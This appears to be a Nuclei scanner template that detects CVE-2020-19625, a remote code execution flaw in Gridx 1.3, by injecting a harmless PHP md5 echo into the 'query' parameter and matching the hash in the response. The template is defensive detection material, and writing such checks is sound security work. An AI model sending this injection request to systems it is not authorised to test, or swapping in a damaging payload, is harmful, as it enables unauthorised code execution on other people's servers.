id: CVE-2020-19625

info:
  name: Gridx 1.3 - Remote Code Execution
  author: geeknik
  severity: critical
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Gridx.
  reference:
    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-19625
    epss-score: 0.83118
    epss-percentile: 0.98347
    cpe: cpe:2.3:a:gridx_project:gridx:1.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gridx_project
    product: gridx
  tags: cve2020,cve,gridx,rce,gridx_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "6ca86c2c17047c14437f55c42c801c10"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022010116eac10c662352816fdc7275b981a6e39c56d6352ec21d836a4e74a1df0c3022100ba1c1d466fc94f5ae38431892ad204de958a82fa1a79987a48ee5965ccd58aac:922c64590222798bb761d5b6d8e72950